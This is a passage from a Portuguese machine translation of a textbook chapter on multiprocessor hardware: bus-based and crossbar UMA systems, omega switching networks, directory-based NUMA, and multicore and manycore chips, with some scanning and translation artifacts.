muitas CPUs ao mesmo tempo. Os sistemas de múltiplos processadores discutidos neste capítulo são 
amplamente utilizado para estes e problemas semelhantes em ciência e engenharia, entre 
outras áreas. 

Outro desenvolvimento relevante é o crescimento incrivelmente rápido da Internet. Isto 
foi originalmente projetado como um protótipo para um sistema de controle militar tolerante a falhas, 
então se tornou popular entre os cientistas da computação acadêmicos e há muito tempo adquiriu 
muitos novos usos. Uma delas é conectar milhares de computadores em todo o mundo. 
mundo para trabalharem juntos em grandes problemas científicos. De certa forma, um sistema que consiste 
em 1.000 computadores espalhados por todo o mundo não é diferente de um sistema que consiste em 
de 1.000 computadores em uma única sala, embora o atraso e outras características técnicas sejam 
diferentes. Também consideraremos esses sistemas neste capítulo. 

Colocar 1 milhão de computadores não relacionados em uma sala é fácil, desde que 
você tem dinheiro suficiente e uma sala suficientemente grande. Espalhar 1 milhão de computadores não 
relacionados ao redor do mundo é ainda mais fácil, pois resolve o segundo problema. 

O problema surge quando você deseja que eles se comuniquem entre si para 
trabalhar juntos em um único problema. Como consequência, muito trabalho foi 
feito em tecnologia de interconexão e diferentes tecnologias de interconexão 


levaram a tipos de sistemas qualitativamente diferentes e a diferentes organizações de software. 


Toda a comunicação entre componentes eletrônicos (ou ópticos) 
se resume ao envio de mensagens — sequências de bits bem definidas — entre eles. O 
as diferenças estão na escala de tempo, na escala de distância e na organização lógica envolvida. 
Num extremo estão os multiprocessadores de memória compartilhada, nos quais em algum lugar 
entre 2 e cerca de 1.000 CPUs se comunicam por meio de uma memória compartilhada. Nisso 
modelo, cada CPU tem acesso igual a toda a memória física e pode ler 
e escreva palavras individuais usando as instruções LOAD e STORE . Acessar uma palavra de memória 
geralmente leva de 1 a 10 nseg. Como veremos, agora é comum colocar mais 


mais de um núcleo de processamento em um único chip de CPU, com os núcleos compartilhando acesso a 
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memória principal (e muitas vezes compartilhando caches). Em outras palavras, o modelo de 
multicomputadores com memória compartilhada pode ser implementado usando CPUs fisicamente separadas, 
vários núcleos em uma única CPU ou uma combinação. Embora este modelo, ilustrado em 

A Figura 8-1(a) parece simples, mas na verdade implementá-la não é tão simples e 

geralmente envolve uma considerável passagem de mensagens sob as cobertas, como explicaremos 

Em breve. Entretanto, essa passagem de mensagens é invisível para os programadores. 


Local 
CPU memóradsga. Paai completo 
(a) (b) (c) 
Figura 8-1. (a) Um multiprocessador de memória compartilhada. multicomputador. (b) Uma passagem de mensagem 


(c) Um sistema distribuído de área ampla. 


Em seguida vem o sistema da Figura 8.1(b), no qual os pares CPU-memória são conectados por 
uma interconexão de alta velocidade. Esse tipo de sistema é chamado de multicomputador de mensagens. 
Cada memória é local para uma única CPU e pode ser acessada 
somente por essa CPU. As CPUs se comunicam enviando mensagens multipalavras 
a interligação. Com uma boa interconexão, uma mensagem curta pode ser enviada em 10-50 
y segundos, mas ainda muito maior que o tempo de acesso à memória da Figura 8.1 (a). Não há 
memória global compartilhada neste design. Multicomputadores (isto é, sistemas de troca de mensagens) são muito 
mais fáceis de construir do que multiprocessadores (de memória compartilhada), mas são muito mais fáceis de construir. 
mais difícil de programar. Assim, cada gênero tem seus fãs. Engenheiros de hardware gostam de designs 
que tornam o hardware barato e simples, por mais difíceis que sejam de programar. Os programadores 
geralmente não são fãs desta abordagem, mas mantiveram-se 
o que eles recebem. 

O terceiro modelo, ilustrado na Figura 8.1(c), conecta sistemas completos de computadores através 
de uma rede de área ampla, como a Internet, para formar uma rede distribuída. 
sistema. Cada um deles tem sua própria memória e os sistemas se comunicam por meio de passagem 
de mensagens. A única diferença real entre a Figura 8-1(b) e a Figura 8-1(c) é que em 
os últimos computadores completos são usados e os tempos de mensagem costumam ser de 10 a 100 ms. 
Este longo atraso força esses sistemas fracamente acoplados a serem usados de maneiras diferentes 
do que os sistemas fortemente acoplados da Figura 8.1(b). Os três tipos de sistemas diferem 
nos seus atrasos em algo como três ordens de grandeza. Essa é a diferença 
entre um dia e 3 anos. Os usuários tendem a notar diferenças como essa. 
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Este capítulo tem três seções principais, correspondentes a cada um dos três modelos da Figura 
8-1. Em cada modelo discutido neste capítulo, começamos com uma breve introdução ao hardware 
relevante. Em seguida, passamos para o software, especialmente os problemas do sistema operacional 
para esse tipo de sistema. Como veremos, em cada caso estão presentes questões diferentes e são 
necessárias abordagens diferentes. 


8.1 MULTIPROCESSADORES 


Um multiprocessador de memória compartilhada (ou apenas multiprocessador daqui em 
diante) é um sistema de computador no qual duas ou mais CPUs compartilham acesso total a uma RAM comum. 
Um programa em execução em qualquer uma das CPUs vê um espaço de endereço virtual normal 
(geralmente paginado). A única propriedade incomum que este sistema possui é que a CPU pode 
escrever algum valor em uma palavra da memória e então ler a palavra de volta e obter um valor 
diferente (porque outra CPU o alterou). Quando organizada corretamente, esta propriedade forma a 
base da comunicação entre processadores: uma CPU grava alguns dados na memória e outra lê os 
dados. 

Na maior parte, os sistemas operacionais multiprocessadores são sistemas operacionais normais. 
Eles lidam com chamadas de sistema, gerenciam memória, fornecem um sistema de arquivos e 
gerenciam dispositivos de E/S. No entanto, existem algumas áreas em que possuem características 
únicas. Isso inclui sincronização de processos, gerenciamento de recursos e agendamento. A seguir, 
primeiro daremos uma breve olhada no hardware multiprocessador e depois passaremos para os 
problemas desses sistemas operacionais. 


8.1.1 Hardware Multiprocessador 


Embora todos os multiprocessadores tenham a propriedade de que cada CPU possa endereçar 
toda a memória, alguns multiprocessadores têm a propriedade adicional de que cada palavra da 
memória pode ser lida tão rapidamente quanto qualquer outra palavra da memória. Essas máquinas 
são chamadas de multiprocessadores UMA (Uniform Memory Access) . Em contraste, os 
multiprocessadores NUMA (Nonuni form Memory Access) não possuem esta propriedade. A razão 
pela qual existe esta diferença ficará clara mais tarde. Examinaremos primeiro os multiprocessadores 
UMA e depois passaremos para os multiprocessadores NUMA. 


Multiprocessadores UMA com arquiteturas baseadas em barramento 


Os multiprocessadores mais simples são baseados em um único barramento, conforme ilustrado 
na Figura 8.2(a). Duas ou mais CPUs e um ou mais módulos de memória usam o mesmo barramento 
para comunicação. Quando uma CPU deseja ler uma palavra de memória, ela primeiro verifica se o 
barramento está ocupado. Se o barramento estiver ocioso, a CPU coloca o endereço da palavra 
desejada no barramento, ativa alguns sinais de controle e espera até que a memória coloque a palavra 
desejada no barramento. Quando a palavra aparece, a CPU a lê. 


Machine Translated by Google 


SEC. 8.1 MULTIPROCESSADORES 531 


Memória privada = E Compartilhado 
Memoria compartilhada memória 
E 


Ônibus 


(a) (b) (c) 


Figura 8-2. Três multiprocessadores baseados em barramento. (a) Sem cache. 
(b) Com cache. (c) Com cache e memórias privadas. 


Se o barramento estiver ocupado quando uma CPU deseja ler ou escrever na memória, a CPU 
apenas espera até que o barramento fique ocioso. É aqui que reside o problema deste design. Com 
duas ou três CPUs, a disputa pelo barramento será administrável; com 32 ou 64 será insuportável. O 
sistema ficará totalmente limitado pela largura de banda do barramento, e a maioria das CPUs ficará 
ociosa a maior parte do tempo. 

A solução para esse problema é adicionar um cache a cada CPU, conforme ilustrado na Figura 
8.2(b). O cache pode estar dentro do chip da CPU, próximo ao chip da CPU, na placa do processador 
ou alguma combinação dos três. Como muitas leituras agora podem ser satisfeitas no cache local, 
haverá muito menos tráfego de barramento e o sistema poderá suportar mais CPUs. Em geral, o cache 
não é feito com base em palavras individuais, mas com base em blocos de 32 ou 64 bytes. Quando uma 
palavra é referenciada, todo o seu bloco, chamado linha de cache, é buscado no cache da CPU que a 
toca. 

Cada bloco de cache é marcado como somente leitura (nesse caso, pode estar presente em vários 
caches ao mesmo tempo) ou leitura-gravação (nesse caso, pode não estar presente em nenhum outro 
cache). Se uma CPU tentar escrever uma palavra que esteja em um ou mais caches remotos, o hardware 
do barramento detecta a escrita e coloca um sinal no barramento informando todos os outros caches 
sobre a escrita. Se outros caches tiverem uma cópia “limpa”, ou seja, uma cópia exata do que está na 
memória, eles podem simplesmente descartar suas cópias e deixar o gravador buscar o bloco de cache 
na memória antes de modificá-lo. Se algum outro cache tiver uma cópia “suja” (ou seja, modificada), ele 
deverá gravá-la de volta na memória antes que a gravação possa prosseguir ou transferi-la diretamente 
para o gravador através do barramento. 

Esse conjunto de regras é chamado de protocolo de coerência de cache e é um entre muitos. 

Ainda outra possibilidade é o projeto da Figura 8.2(c), no qual cada CPU possui não apenas um 
cache, mas também uma memória local privada, que ela acessa através de um barramento dedicado 
(privado). Para usar essa configuração de maneira ideal, o compilador deve colocar todo o texto do 
programa, strings, constantes e outros dados somente leitura, pilhas e variáveis locais nas memórias 
privadas. A memória compartilhada é então usada apenas para variáveis compartilhadas graváveis. Na 
maioria dos casos, esse posicionamento cuidadoso reduzirá o tráfego do barramento, mas exigirá 
cooperação ativa do compilador. Isso pode ser feito, por exemplo, alocando parte do espaço de 
endereçamento para a memória compartilhada, o restante para a memória privada de cada CPU e 
colocando variáveis e estruturas de dados na parte direita. 
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Multiprocessadores UMA usando switches Crossbar 


Mesmo com o melhor cache, o uso de um único barramento limita o tamanho de um 
multiprocessador UMA a cerca de 16 ou 32 CPUs. Para ir além disso, é necessário um tipo 
diferente de rede de interconexão. O circuito mais simples para conectar n CPUs a k memórias 
é o crossbar switch, mostrado na Figura 8-3. Os switches crossbar têm sido usados há 
décadas em centrais telefônicas para conectar um grupo de linhas de entrada a um conjunto 
de linhas de saída de maneira arbitrária. 

Em cada interseção de uma linha horizontal (de entrada) e vertical (de saída) há um 
ponto de cruzamento. Um ponto cruzado é um pequeno interruptor eletrônico que pode ser 
aberto ou fechado eletricamente, dependendo se as linhas horizontais e verticais devem ser 
conectadas ou não. Na Figura 8-3(a), vemos três pontos de cruzamento fechados 
simultaneamente, permitindo conexões entre os pares (CPU, memória) (010, 000), (101, 101) 
e (110, 010) ao mesmo tempo. Muitas outras combinações também são possíveis. Na 
verdade, o número de combinações é igual ao número de maneiras diferentes pelas quais 
oito torres podem ser colocadas com segurança em um tabuleiro de xadrez. 


Recordações 


O interruptor de 


ponto cruzado está aberto 


(b) 


O interruptor de 
ponto cruzado está fechado 


U99 


Interruptor 


Interruptor 
de ponto cruzado P 


fechado de ponto cruzado 


aberto 


(a) 
Figura 8-3. (a) Um interruptor de barra transversal 8 x 8. (b) Um ponto de cruzamento aberto. (c) Um ponto de 
cruzamento fechado. 


Uma das melhores propriedades do crossbar switch é que ele é uma rede sem bloqueio, 
o que significa que nenhuma CPU jamais terá negada a conexão necessária porque 


Machine Translated by Google 


SEC. 8.1 MULTIPROCESSADORES 533 


algum ponto cruzado ou linha já está ocupado (assumindo que o próprio módulo de memória esteja 

disponível). Nem todas as interconexões possuem essa excelente propriedade. Além disso, nenhum 
planejamento prévio é necessário. Mesmo que sete conexões arbitrárias já estejam configuradas, é 

sempre possível conectar a CPU restante à memória restante. 

A disputa por memória ainda é possível, é claro, se duas CPUs quiserem acessar o mesmo 
módulo ao mesmo tempo. Contudo, ao particionar a memória em n unidades, a contenção é reduzida 
por um fator de n comparado ao modelo da Figura 8-2. 

Uma das piores propriedades do crossbar switch é o fato de que o número de pontos de 
cruzamento cresce à medida que n2 . Com 1.000 CPUs e 1.000 módulos de memória, precisamos de 
um milhão de pontos de cruzamento. Uma mudança de barra transversal tão grande não é viável. No 
entanto, para sistemas de médio porte, um projeto de barra transversal é viável. 


Multiprocessadores UMA usando redes de comutação multiestágio 


Um projeto de multiprocessador completamente diferente é baseado no humilde switch 2 x 2 
mostrado na Figura 8.4(a). Este switch possui duas entradas e duas saídas. As mensagens que 
chegam em qualquer uma das linhas de entrada podem ser comutadas para qualquer uma das linhas 
de saída. Para nossos propósitos, as mensagens conterão até quatro partes, conforme mostrado na 
Figura 8.4(b). O campo Módulo informa qual memória usar. O Endereço especifica um endereço dentro 
de um módulo. O Opcode fornece a operação, como READ ou WRITE. Finalmente, o campo opcional 
Valor pode conter um operando, como uma palavra de 32 bits a ser escrita em um WRITE. O switch 
inspeciona o campo Módulo e o utiliza para determinar se a mensagem deve ser enviada em X ou em 
Y 


x 


ii E a 1 
igo de es TETN do módulo | 


(a) (b) 


Figura 8-4. (a) Uma chave 2 x 2 com duas linhas de entrada, A e B, e duas linhas de 
saída, X e Y. (b) Um formato de mensagem. 


Nossos switches 2 x 2 podem ser organizados de várias maneiras para construir redes maiores 
de comutação multiestágio (Adams et al., 1987; Garofalakis e Stergiou, 2013; e Kumar e Reddy, 
1987). Uma possibilidade é a rede ômega simples da classe bovina, ilustrada na Figura 8.5. Aqui, 
conectamos oito CPUs a oito memórias usando 12 switches. De forma mais geral, para n CPUs e n 
memórias precisaríamos de log2 n estágios, com n/2 switches por estágio, para um total de (n/2) log2 n 
switches, o que é muito melhor que n2 crosspoints, especialmente para valores grandes de n. 


O padrão de fiação da rede ômega costuma ser chamado de embaralhamento perfeito, uma vez 
que a mistura dos sinais em cada estágio se assemelha a um baralho de cartas sendo cortado ao meio 
e depois misturado carta por carta. Para ver como funciona a rede ômega, suponha que a CPU 011 
queira ler uma palavra do módulo de memória 110. A CPU envia um 
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Figura 8-5. Uma rede de comutação ômega. 


Mensagem LEIA para a central 1D contendo o valor 110 no campo Módulo . O switch pega o 
primeiro bit (ou seja, mais à esquerda) de 110 e o utiliza para roteamento. Um O direciona para a 
saída superior e um 1 direciona para a saída inferior. Como este bit é 1, a mensagem é roteada 
através da saída inferior para 2D. 

Todos os switches de segundo estágio, incluindo 2D, usam o segundo bit para roteamento. 
Isso também é 1, então a mensagem agora é encaminhada pela saída inferior para 3D. 

Aqui, o terceiro bit é testado e considerado 0. Conseqüentemente, a mensagem sai na saída 
superior e chega à memória 110, conforme desejado. O caminho seguido por esta mensagem 
está marcado na Figura 8-5 pela letra a. 

À medida que a mensagem se move através da rede de comutação, os bits na extremidade 
esquerda do número do módulo não são mais necessários. Eles podem ser bem aproveitados 
registrando o número da linha recebida, para que a resposta possa retornar. Para o caminho a, 
as linhas de entrada são 0 (entrada superior para 1D), 1 (entrada inferior para 2D) e 1 (entrada 
inferior para 3D), respectivamente. A resposta é roteada de volta usando 011, desta vez lendo-a 
apenas da direita para a esquerda. 

Ao mesmo tempo em que tudo isso acontece, a UCP 001 deseja escrever uma palavra no 
módulo de memória 001. Um processo análogo acontece aqui, com a mensagem roteada através 
das saídas superior, superior e inferior, respectivamente, marcadas pela letra b . . Quando chega, 
seu campo Módulo indica 001, representando o caminho que percorreu. Como essas duas 
solicitações não utilizam nenhum dos mesmos switches, linhas ou módulos de memória, elas 
podem prosseguir em paralelo. 

Agora considere o que aconteceria se a CPU 000 quisesse acessar simultaneamente o 
módulo de memória 000. Sua solicitação entraria em conflito com a solicitação da CPU 001 no 
switch 3A. Um deles teria então que esperar. Ao contrário do crossbar switch, a rede ômega é 
uma rede de bloqueio. Nem todos os conjuntos de pedidos podem ser processados 
simultaneamente. Podem ocorrer conflitos durante o uso de um fio ou switch, bem como entre 
solicitações à memória e respostas da memória. 
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Como é altamente desejável distribuir as referências de memória uniformemente pelos módulos, 
uma técnica comum é usar os bits de ordem inferior como o número do módulo. Considere, por 
exemplo, um espaço de endereço orientado a bytes para um computador que acessa principalmente 
palavras completas de 32 bits. Os 2 bits de ordem inferior geralmente serão 00, mas os próximos 3 bits 
serão distribuídos uniformemente. Ao usar esses 3 bits como número do módulo, as palavras 
consecutivas estarão em módulos consecutivos. Diz-se que um sistema de memória no qual palavras 
consecutivas estão em módulos diferentes é intercalado. Memórias intercaladas maximizam o 
paralelismo porque a maioria das referências de memória são para endereços consecutivos. Também 
é possível projetar redes de comutação sem bloqueio e que ofereçam múltiplos caminhos de cada CPU 
para cada módulo de memória para distribuir melhor o tráfego. 


Multiprocessadores NUMA 


Os multiprocessadores UMA de barramento único geralmente são limitados a não mais do que 
algumas dezenas de CPUs, e os multiprocessadores crossbar ou comutados precisam de muito 
hardware (caro) e não são muito maiores. Para chegar a mais de 100 CPUs, algo tem que acontecer. 
Normalmente o que dá é a ideia de que todos os módulos de memória possuem o mesmo tempo de 
acesso. Esta concessão leva à ideia dos multiprocessadores NUMA, conforme mencionado acima. 
Como seus primos UMA, eles fornecem um único espaço de endereço em todas as CPUs, mas 
diferentemente das máquinas UMA, o acesso aos módulos de memória local é mais rápido do que o 
acesso aos remotos. Assim, todos os programas UMA serão executados sem alterações em máquinas 
NUMA, mas o desempenho será pior do que em uma máquina UMA. 

As máquinas NUMA possuem três características principais que todas elas possuem e que juntas 
as distinguem de outros multiprocessadores: 


1. Existe um único espaço de endereço visível para todas as CPUs. 
2. O acesso à memória remota é feito através das instruções LOAD e STORE . 


3. O acesso à memória remota é mais lento que o acesso à memória local. 


Quando o tempo de acesso à memória remota não está oculto (porque não há cache), o sistema é 
denominado NC-NUMA (Non Cache-coherent NUMA). Quando os caches são coerentes, o sistema é 
denominado CC-NUMA (Cache-Coherent NUMA). 

Uma abordagem popular para construir grandes multiprocessadores CC-NUMA é o 
multiprocessador baseado em diretório. A ideia é manter um banco de dados informando onde está 
cada linha de cache e qual seu status. Quando uma linha de cache é referenciada, a base de dados é 
consultada para descobrir onde ela está e se está limpa ou suja. Como esse banco de dados é 
consultado em cada instrução que toca a memória, ele deve ser mantido em hardware extremamente 
rápido para fins especiais, que possa responder em uma fração do ciclo do barramento. 


Para tornar a ideia de um multiprocessador baseado em diretórios um pouco mais concreta, 
consideremos como um exemplo simples (hipotético), um sistema de 256 nós, cada nó 
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consistindo em uma CPU e 16 MB de RAM conectados à CPU através de um barramento local. 
A memória total é de 232 bytes e está dividida em 226 linhas de cache de 64 bytes cada. A 
memória é alocada estaticamente entre os nós, com 0-16M no nó 0, 16M-32M no nó 1, etc. 
Os nós são conectados por uma rede de interconexão, conforme mostrado na Figura 8-6(a). 
Cada nó também contém as entradas de diretório para as 218 linhas de cache de 64 bytes que 


compõem sua memória de 224 bytes. Por enquanto, iremos 
suponha que uma linha possa ser mantida em no máximo um cache. 


Nó O Nó 1 Nó 255 


Memória CPU Memória CPU Memória CPU 


Diretório 


Ônibus local Ônibus local 


Desvio 


218-1 
Pedaços 8 18 6 
CER 


(b) 


Figura 8-6. (a) Um multiprocessador baseado em diretório de 256 nós. (b) Divisão de um 
endereço de memória de 32 bits em campos. (c) O diretório no nó 36. 


Para ver como o diretório funciona, vamos rastrear uma instrução LOAD da CPU 20 que 
faz referência a uma linha armazenada em cache. Primeiro, a CPU que emite a instrução 
apresenta-a à sua MMU, que a traduz para um endereço físico, digamos, 0x24000108. A MMU 
divide esse endereço nas três partes mostradas na Figura 8.6(b). Em decimal, as três partes 
são o nó 36, a linha 4 e o deslocamento 8. A MMU vê que a palavra de memória referenciada 
é do nó 36, não do nó 20, então envia uma mensagem de solicitação através da rede de 
interconexão para o nó inicial da linha. , 36, perguntando se sua linha 4 está armazenada em 
cache e, em caso afirmativo, onde. 

Quando a solicitação chega ao nó 36 pela rede de interconexão, ela é roteada para o 
hardware do diretório. O hardware indexa em sua tabela de 218 entradas, uma para cada uma 
de suas linhas de cache, e extrai a entrada 4. Na Figura 8.6(c), vemos que a linha não está 
armazenada em cache, então o hardware emite uma busca por linha 4 da RAM local 
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e depois que chega, envia-o de volta ao nó 20. Em seguida, atualiza a entrada de diretório 4 para indicar 
que a linha agora está armazenada em cache no nó 20. 

Agora vamos considerar uma segunda solicitação, desta vez perguntando sobre a linha 2 do nó 36. 
Na Figura 8.6(c), vemos que esta linha está armazenada em cache no nó 82. Neste ponto, o hardware 
poderia atualizar a entrada de diretório 2 para dizer que a linha está agora no nó 20 e então enviar uma 
mensagem para o nó 82. instruindo-o a passar a linha para o nó 20 e invalidar seu cache. Observe que 
mesmo um chamado “multiprocessador de memória compartilhada” tem muita transmissão de mensagens 
acontecendo nos bastidores. 

Como um aparte rápido, vamos calcular quanta memória está sendo ocupada pelos diretórios. 
Cada nó possui 16 MB de RAM e 218 entradas de 9 bits para controlar essa RAM. Assim, o overhead 
do diretório é de cerca de 9 x 218 bits dividido por 16 MB ou cerca de 1,76%, o que é geralmente 
aceitável (embora deva ser memória de alta velocidade, o que aumenta seu custo, é claro). Mesmo 
com linhas de cache de 32 bytes, o overhead seria de apenas 4%. Com linhas de cache de 128 bytes, 
seria inferior a 1%. 

Uma limitação óbvia deste projeto é que uma linha pode ser armazenada em cache em apenas um 
nó. Para permitir que as linhas sejam armazenadas em cache em vários nós, precisaríamos de alguma 
forma de localizar todas elas, por exemplo, para invalidá-las ou atualizá-las durante uma gravação. Em 
muitos processadores multicore, uma entrada de diretório consiste, portanto, em um vetor de bits com 
um bit por núcleo. Um "1" indica que a linha de cache está presente no núcleo e um "0" que não está. 
Além disso, cada entrada de diretório normalmente contém mais alguns bits. Como resultado, o custo 
de memória do diretório aumenta consideravelmente. O projeto de sistemas de 64 bits é mais complicado, 
mas os princípios fundamentais são semelhantes. 


Chips Multicore 


À medida que a tecnologia de fabricação de chips melhora, os transistores ficam cada vez menores 
e é possível colocar cada vez mais deles em um chip. Essa observação empírica costuma ser chamada 
de Lei de Moore, em homenagem ao cofundador da Intel, Gordon Moore, que a notou pela primeira 
vez. Em 1974, o Intel 8080 continha pouco mais de 2.000 transistores, enquanto as CPUs Xeon Nehalem- 
EX tinham mais de 2 bilhões de transistores. 

Uma pergunta óbvia é: “O que você faz com todos esses transistores?” Como discutimos na Seção. 
1.3.1, uma opção é adicionar megabytes de cache ao chip. Esta opção é séria e chips com 4-32 MB de 
cache on-chip são comuns. Mas em algum momento, aumentar o tamanho do cache pode aumentar a 
taxa de acertos apenas de 99% para 99,5%, o que não melhora muito o desempenho do aplicativo. 


A outra opção é colocar duas ou mais CPUs completas, geralmente chamadas de núcleos, no 
mesmo chip (tecnicamente, no mesmo chip). Chips com 4 a 64 núcleos já são comuns; e você pode até 
comprar chips com centenas de núcleos. Sem dúvida, mais núcleos estão a caminho. Os caches ainda 
são cruciais e agora estão espalhados pelo chip. Por exemplo, a CPU EPYC Milan da AMD tem até 64 
núcleos com 2 threads de hardware cada, totalizando 128 núcleos virtuais. 


Em muitos sistemas, cada núcleo normalmente tem acesso a vários níveis de cache, desde um 
cache L1 (Nível 1) próximo, pequeno e rápido, até um cache L3 mais distante, maior e mais lento, com 
o L2 no meio. Cada um dos 64 núcleos do EPYC Milan possui 
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32 KB de cache de instruções L1 e 32 KB de cache de dados, além de 512 KB de cache L2. Finalmente, 


os núcleos compartilham 256 MB de cache L3 integrado. 

Embora as CPUs possam ou não compartilhar caches (veja a Figura 1.8), elas sempre 
compartilham a memória principal, e essa memória é consistente no sentido de que há sempre um 
valor único para cada palavra da memória. Circuitos de hardware especiais garantem que se uma 
palavra estiver presente em dois ou mais caches e uma das CPUs modificar a palavra, ela será 
removida automática e atomicamente de todos os caches para manter a consistência. Este processo 
é conhecido como espionagem. 

O resultado desse projeto é que os chips multicore são apenas multiprocessadores muito 
pequenos. Na verdade, os chips multicore às vezes são chamados de CMPs (Chip MultiProcesors). 
Do ponto de vista do software, os CMPs não são muito diferentes dos multiprocessadores baseados 
em barramento ou dos multiprocessadores que usam redes de comutação. No entanto, existem 
algumas diferenças. Para começar, em um multiprocessador baseado em barramento, cada uma das 
CPUs tem seu próprio cache, como na Figura 8.2(b) e também no projeto da Figura 1.8(b). O projeto 
de cache compartilhado da Figura 1.8(a) não ocorre em outros multiprocessadores. Hoje em dia o 
cache L3 é normalmente compartilhado. Isso não significa necessariamente que sejam centralizados. 
Frequentemente, um cache grande e compartilhado é particionado em fatias por núcleo. Por 
exemplo, em uma CPU com 8 núcleos e cache compartilhado de 32 MB, cada núcleo possui uma fatia 
de 4 MB. As fatias são compartilhadas para que qualquer núcleo possa acessar qualquer fatia, mas o 
desempenho varia. Acessar sua fatia local é muito mais rápido. Em outras palavras, temos um cache 
NUMA. 

Deixando de lado as questões NUMA, um cache L2 ou L3 compartilhado pode afetar o 
desempenho de forma positiva ou negativa. Se um núcleo precisa de muita memória cache e os outros 
não, esse design permite que o consumidor de cache pegue tudo o que precisa. Por outro lado, o 
cache compartilhado também possibilita que um núcleo ganancioso prejudique os outros núcleos. 

Uma área em que os CMPs diferem de seus primos maiores é a tolerância a falhas. 

Como as CPUs estão intimamente conectadas, falhas em componentes compartilhados podem 
derrubar diversas CPUs ao mesmo tempo, algo improvável em multiprocessadores tradicionais. 

Além dos chips multicore simétricos, onde todos os núcleos são idênticos, outra categoria comum 
de chip multicore é o SoC (System On a Chip). 

Esses chips possuem uma ou mais CPUs principais, mas também núcleos para fins especiais, como 
decodificadores de vídeo e áudio, criptoprocessadores, interfaces de rede e muito mais, levando a um 
sistema de computador completo em um chip. O chip M1, usado em alguns computadores e 
dispositivos móveis da Apple, é um SoC com quatro núcleos de alto desempenho e que consomem 
muita energia e quatro núcleos de baixo desempenho e com baixo consumo de energia. Isso dá ao 


sistema operacional a capacidade de executar threads em núcleos rápidos quando necessário, mas 
economizar energia quando não é. 


Chips Manycore 


Multicore significa simplesmente “mais de um núcleo”, mas quando o número de núcleos cresce 
muito além do alcance da contagem digital, usamos outro nome. Chips Manycore são multicores que 
contêm dezenas, centenas ou até milhares de núcleos. 
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Embora não exista um limite rígido além do qual um multicore se torne um manycore, 
uma distinção fácil é que você provavelmente tem um Manycore se não se importa mais 
sobre perder um ou dois núcleos. 
Versões de processador duplo da CPU EPYC Milan da AMD já oferecem 128 núcleos 
em um único chip. Outros fornecedores também cruzaram a barreira dos 100 núcleos com centenas de núcleos. 
Mil núcleos de uso geral podem estar a caminho. Não é 
fácil imaginar o que fazer com mil núcleos, muito menos como programá-los 
fora de aplicações de nicho. Por exemplo, um aplicativo de edição de vídeo que funciona em 
um filme de 60 quadros/s de 2 horas pode ter que aplicar um filtro complexo do Photoshop a todos 
432.000 quadros. Fazer isso em paralelo em 1.024 núcleos pode tornar a renderização 
processo é muito mais rápido. 
Outro problema com números realmente grandes de núcleos é que o maquinário 
necessários para manter seus caches coerentes torna-se muito complicado e muito caro. Muitos engenheiros 
temem que a coerência do cache possa não chegar a muitas centenas 
de núcleos. Alguns até defendem que devemos desistir completamente. Eles temem que 
o custo dos protocolos de coerência em hardware será tão alto que todos aqueles novos 
núcleos não ajudarão muito no desempenho porque o processador está muito ocupado mantendo 
os caches em um estado consistente. Pior ainda, seria necessário gastar muita memória no diretório (rápido) 
para fazer isso. Isso é conhecido como parede de coerência. 
Considere, por exemplo, nossa solução de coerência de cache baseada em diretório discutida 
acima. Se cada entrada de diretório contiver um vetor de bits para indicar quais núcleos contêm 
uma linha de cache específica, a entrada de diretório para uma CPU com 1024 núcleos estará em 
pelo menos 128 bytes de comprimento. Como as próprias linhas de cache raramente são maiores que 128 bytes, 
isso leva à situação embaraçosa de que a entrada do diretório é maior que a linha de cache que ela rastreia. 
Provavelmente não é o que queremos. 
Alguns engenheiros argumentam que o único modelo de programação que provou funcionar 
escalar para um grande número de processadores é aquele que emprega passagem de mensagens 
e memória distribuída - e é isso que devemos esperar no futuro 
fichas também. Por outro lado, outros processadores ainda fornecem consistência mesmo em 
grandes contagens de núcleos. Modelos híbridos também são possíveis. Por exemplo, um chip de 1024 núcleos 
pode ser particionado em 64 ilhas com 16 núcleos coerentes de cache cada, abandonando a coerência de 
cache entre as ilhas. 
Milhares de núcleos não são mais tão especiais. O mais comum 
Manycores hoje, unidades de processamento gráfico, são encontradas em praticamente qualquer computador 
sistema que não é embarcado e possui monitor. Uma GPU é um processador com memória dedicada e, 
literalmente, milhares de pequenos núcleos. Em comparação com os processadores de uso geral, as GPUs 
gastam mais do seu orçamento de transistores nos circuitos 
que realizam cálculos e menos em caches e lógica de controle. Eles são muito bons 
para muitos pequenos cálculos feitos em paralelo, como renderização de polígonos em gráficos 
formulários. Eles não são tão bons em tarefas seriais. Eles também são muito difíceis de 
programar e depurar. Embora as GPUs possam ser úteis para sistemas operacionais (por exemplo, criptografia 
ou processamento de tráfego de rede), não é provável que grande parte da tecnologia operacional 
o próprio sistema será executado nas GPUs. 
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Outras tarefas de computação são cada vez mais realizadas pela GPU (ou processadores 
similares), especialmente aquelas que demandam computação e que são comuns em ciências científicas. 
Informática. O termo usado para processamento de uso geral em GPUs é (surpresa): 

GPPU. Infelizmente, programar GPUs de forma eficiente é extremamente difícil e 

requer linguagens de programação especiais, como OpenGL ou CUDA proprietário da NVIDIA . Uma 
diferença importante entre a programação de GPUs e a programação de processadores de uso geral é 
que as GPUs são essencialmente “processadores de instrução única”. 

múltiplas máquinas de dados, o que significa que um grande número de núcleos executa exatamente a 
mesma instrução, mas em diferentes partes de dados. Este modelo é ótimo para dados 

paralelismo, mas pobre para paralelismo de tarefas. 

As GPUs provaram ser úteis para muitas aplicações, não apenas para computação científica ou 
jogos. Por exemplo, o aprendizado de máquina tornou-se uma aplicação importante. Na verdade, 
tornou-se tão importante que o Google começou a desenvolver um processador para fins especiais, 
conhecido como TPU (Tensor Processing Unit), embora algumas pessoas prefiram 
o NPU (Unidade de Processamento Neural) mais genérico . Deriva do TensorFlow 
software que impulsiona muitas das soluções de aprendizado de máquina. TPUs combinam muitos 
unidades de processamento simples, de modo a realizar multiplicações de matrizes muito 
eficientemente — operações que são comuns no aprendizado de máquina. Como o seu impacto 
sistemas operacionais são limitados, não iremos discuti-los mais detalhadamente. Na mesma linha, nós 
não discuta Unidades de Processamento de Rede (também brilhantemente abreviadas para NPU) ou 
a série de outros tipos de coprocessadores específicos de aplicativos existentes hoje. 


Multinúcleos Heterogêneos 


Alguns chips integram uma GPU, uma TPU e vários núcleos de uso geral em 
o mesmo morre. Da mesma forma, os SoCs podem conter diferentes tipos de núcleo de uso geral. 
Os sistemas que integram vários tipos diferentes de processadores em um único chip são 
conhecidos coletivamente como processadores multicore heterogêneos . 

Alguns destes sistemas são muito heterogêneos, no sentido de que os diferentes 
núcleos têm conjuntos de instruções diferentes. Por exemplo, isso é verdade para SoCs que possuem um 
GPU e/ou TPU, além de núcleos de uso geral. Contudo, também é possível 
